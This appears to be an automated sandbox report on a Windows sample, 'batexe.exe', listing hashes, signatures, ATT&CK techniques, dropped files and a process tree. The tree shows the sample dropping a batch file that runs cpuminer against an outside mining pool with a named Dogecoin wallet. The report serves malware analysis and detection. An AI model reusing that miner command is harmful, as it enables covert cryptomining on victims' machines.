73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
296s
max time network
302s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
18/02/2024, 07:51

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General

Target
batexe.exe
Size 9.4MB
Sample240218-jpww9sfe91
SHA256 73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
MD5 cdc9eacffc6d2bf43153815043064427
SHA1 d05101f265f6ea87e18793ab0071f5c99edf363f
SHA512 fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP 196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4644	b2e.exe
4756	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4756	cpuminer-sse2.exe
4756	cpuminer-sse2.exe
4756	cpuminer-sse2.exe
4756	cpuminer-sse2.exe
4756	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3136-7-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3136 wrote to memory of 4644	3136	batexe.exe	84
PID 3136 wrote to memory of 4644	3136	batexe.exe	84
PID 3136 wrote to memory of 4644	3136	batexe.exe	84
PID 4644 wrote to memory of 1900	4644	b2e.exe	85
PID 4644 wrote to memory of 1900	4644	b2e.exe	85
PID 4644 wrote to memory of 1900	4644	b2e.exe	85
PID 1900 wrote to memory of 4756	1900	cmd.exe	88
PID 1900 wrote to memory of 4756	1900	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3136
- C:\Users\Admin\AppData\Local\Temp\AA3A.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\AA3A.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\AA3A.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4644
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B97C.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1900
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\AA3A.tmp\b2e.exe
Size 241KB
SHA256 a9aaa7df4b6107505c9b4a69ad587ede75c89ea566926f9ad1aa97c9a7703669
MD5 68bb0b8d28d50f38efd5cbb5aa4dec79
SHA1 84a7a6116860c2a673bb50f02d258751d717d473
SHA512 1ab4601de8130e9ce79134bc13085e5b377b71793053aba6d692dc5f7964d4c221dd282ed66379af06e4b9130771a7fd98784f1007cfea74d13e504cd031e6cc
SSDEEP 6144:hok3ljbWaGFDp4e627Qh79gusSMHX1A7QzhulTvcGd3y4QS8:jbWaG1aL27gMy70wW4Qn
MD5 SHA1 SHA512 SSDEEP

Submit Download

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\AA3A.tmp\b2e.exe
Size 7.6MB
SHA256 bd4be0b0a70faaf29905ccaf23e84e7b5262e4aa0de1536242a6e6fb0b742438
MD5 55aafea386fe936f8cf36a68f18843f1
SHA1 f2469e22f5da5d6920b46039eeb0a86648cd6c90
SHA512 48e91ef5ebbdcd90dc179c3af603de3178b93d94022ac9658e3614966fa479f71135280c5b6eb43985b0bb919d0a4e16056df4efd4afc0ffe15afec2b33b1f12
SSDEEP 98304:2Vh7J/WrocAdkmBtKCLaDr/4Q8FD9Ck6jBV6:wWrJQ9Cc
MD5 SHA1 SHA512 SSDEEP

Submit Download

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\AA3A.tmp\b2e.exe
Size 6.3MB
SHA256 6c994088e63f8231aed84bd34dcde688a304b6256ad64bda9dfd209471b04d51
MD5 e57273cf3bf692f7ece16b631fc6aa97
SHA1 428873ece83027f0389320ec87072e5edabbac65
SHA512 ccafb2bcdd2263c7bbb18cf5e243df083050f459091e01e3b70e244b6e3f09391ab1f9541bcc6fb0cf374931b6a8b4383251ccdaa08c02a8f6dfb2e8e6194791
SSDEEP 49152:HWVh7Fj/WrXYcatDRddBuqw/LLpGokJsThPz8rJG9nSti9/KKJSusjtZPPxtSVJ1:2Vh7J/WrocAdkmBtKCLaDr/4Q8FDA
MD5 SHA1 SHA512 SSDEEP

Submit Download

batchfile.bat

Path C:\Users\Admin\AppData\Local\Temp\B97C.tmp\batchfile.bat
Size 136B
SHA256 65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
MD5 8ea7ac72a10251ecfb42ef4a88bd330a
SHA1 c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA512 a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
MD5 SHA1 SHA512

Submit Download

cpuminer-sse2.exe

Path C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
Size 640KB
SHA256 71661d7077b93e2a5e53d7093e532bec1b66d34e3929bcb314eab7f431b84734
MD5 0f6af9e19fa927d88313e98d54420920
SHA1 0aff9c72864126107d6c630aafb9ed6512042afd
SHA512 bba078e2f4eb5ca45956657356f7419767a81679f34d9991bf28a1d44e412340d1002517f74a15583ffe20b32f1f25b60c47f4581100552dc1e651b3f88547be
SSDEEP 12288:WRtMPAkXZ9Zeql/DZoq/Qphj2XVgQ7N/TiojFZi9lGbZGhtvw//ZY1QwC:WbAAkXZfeqVZoq/QpmN/TDjzshtmBP
MD5 SHA1 SHA512 SSDEEP

Submit Download

cpuminer-sse2.exe

Path C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
Size 2.3MB
SHA256 c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd
MD5 4c04147c386ba8792ac6a03069572a8a
SHA1 dda67789fc1d0f2469ca95f01a5c81034853ca6a
SHA512 a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db
SSDEEP 49152:Wkpplb/LHkmgDlX3+57Uad1bBLTqgC+JZchTbO8rLG:xvN/LOOh6
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcurl-4.dll

Path C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll
Size 836KB
SHA256 218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
MD5 aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA1 5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA512 c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
SSDEEP 24576:xufMF9VdLNrjhHdLI8cUlOb1w4yYhJWOrXQB:cfMFhBr19LI87lOb1w4IOrXQB
MD5 SHA1 SHA512 SSDEEP

Submit Download

libgcc_s_seh-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll
Size 1.2MB
SHA256 c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
MD5 7cf672bee2afba2dcd0c031ff985958e
SHA1 6b82a205db080ffdcb4a4470fce85a14413f3217
SHA512 3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
SSDEEP 12288:ynYk4yH15191n1q1x1c1vw6t8a1/hKhbhdhvh3hY6Dhch3hhCZ1c1eCJ1MC1+1MH:mnKt/wDm1nazZffMMcUvQlRg3J6f1SGK
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 1.7MB
SHA256 e12062782760feb5983ef38a672d759883368d4fa517e33401e76424651a5849
MD5 1e9f85c2f0775fad9062c4353b786616
SHA1 6022d9392d840ca887e54b25822fcdd33da85c71
SHA512 7077d4277e97c174a49d4d5e94a42934dbbdcfc84ae568855d30af5df26f3d8834164a4bc2f8a776ccc6f9262fe100d6af22c9790caf39459057f58da2991e8b
SSDEEP 24576:Dv+Gatwo2ZyrfvhKBl01YIqFOEFQdt0b4:Dv+Gatwo2ZyrgBltFzF
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 2.1MB
SHA256 09103a0b454836dd86f6f9654e87228b016c301133c3a6f3cbf1d99c7068b522
MD5 2b21d98b470eaa1e9333f52f13eee54b
SHA1 7859607d8004999748e748771111d79b0f49cc33
SHA512 283371f7a5f2b1740764f8ec09f5858ec89d88dd7fcb3d8e7b17a2cdf4c3c6763ef92e588af643a7e4db0c83006c541562fd114858274ffd2e70ae23fa13b44f
SSDEEP 49152:Dv+Gatwo2ZyrgBltFzFsCt2Hbsugpzk8sZE:DGGvDsCt2HINpzk8sZE
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 1.9MB
SHA256 1d21d4eff55eb52c29c48cbd3f68942f53b5d7f9b84cd2e5c100d2b792417c19
MD5 952cf9c1c9be72c2375e13cf518f1eb8
SHA1 12e133ab6e333726ca2b047d8b0f44db463ff0de
SHA512 c4ccb8985b9a81e03624f1fc4326ed696a16418754aeb55435e98cd9ccb42b55c7207c082803da5b145fdb68108e53bd0b9946e6b8380a58e0306f79da590631
SSDEEP 24576:Dv+Gatwo2ZyrfvhKBl01YIqFOEFQdt0b4Dbdv04:Dv+Gatwo2ZyrgBltFzFsC4
MD5 SHA1 SHA512 SSDEEP

Submit Download

libwinpthread-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll
Size 606KB
SHA256 2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
MD5 585efec1bc1d4d916a4402c9875dff75
SHA1 d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA512 b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770
SSDEEP 12288:IrAim3Y9lrzf34z//KRwwtkIr1PznEcyJwV2Zug8UYWTh4x:IrAim3Y9lrzf34z//KRwwtkIr1PzEcy8
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/3136-7-0x0000000000400000-0x000000000393A000-memory.dmp

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memory/4644-53-0x0000000000400000-0x0000000000405000-memory.dmp

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memory/4644-8-0x0000000000400000-0x0000000000405000-memory.dmp

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memory/4756-43-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/4756-59-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/4756-46-0x00000000566F0000-0x0000000056788000-memory.dmp

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memory/4756-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

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memory/4756-48-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/4756-44-0x0000000070800000-0x00000000708BC000-memory.dmp

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memory/4756-54-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/4756-45-0x0000000061440000-0x000000006156B000-memory.dmp

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memory/4756-64-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/4756-74-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/4756-79-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/4756-84-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/4756-89-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/4756-94-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/4756-99-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/4756-104-0x0000000000400000-0x0000000000667000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads